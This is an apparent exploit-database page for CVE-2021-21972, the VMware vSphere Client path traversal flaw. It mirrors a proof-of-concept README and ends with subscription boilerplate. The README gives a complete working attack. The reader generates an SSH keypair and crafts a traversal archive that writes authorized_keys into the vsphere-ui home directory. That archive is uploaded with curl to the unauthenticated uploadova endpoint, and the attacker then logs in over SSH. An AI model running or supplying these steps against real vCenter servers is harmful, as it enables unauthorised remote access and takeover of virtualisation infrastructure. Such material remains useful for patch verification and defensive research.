CVE-2021-21972 PoC — VMware vSphere Client 路径遍历漏洞

Source

https://github.com/renini/CVE-2021-21972

Associated Vulnerability

Title:VMware vSphere Client 路径遍历漏洞 (CVE-2021-21972)
Description:The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

Description

CVE-2021-21972

Readme

# CVE-2021-21972
CVE-2021-21972

Tested against VMware VCSA 6.7

## create ssh keypair
```
ssh-keygen -t rsa -f vcsa.key -N ''
```

## create tarbal with ../../../../../home/vsphere-ui/.ssh/authorized_keys
```
python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorized_keys
mv evil.tar evil.ova
```

## upload evil.ova to the vropspluginui uploadova rest endpoint
```
curl -k -A "" --form "uploadFile=@evil.ova;type=text/plain" https://$VCSA_IP/ui/vropspluginui/rest/services/uploadova -H "Accept: application/json"
```

## ssh to vcsa with the added authorized key
```
ssh -i vcsa.key vsphere-ui@$VCSA_IP
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!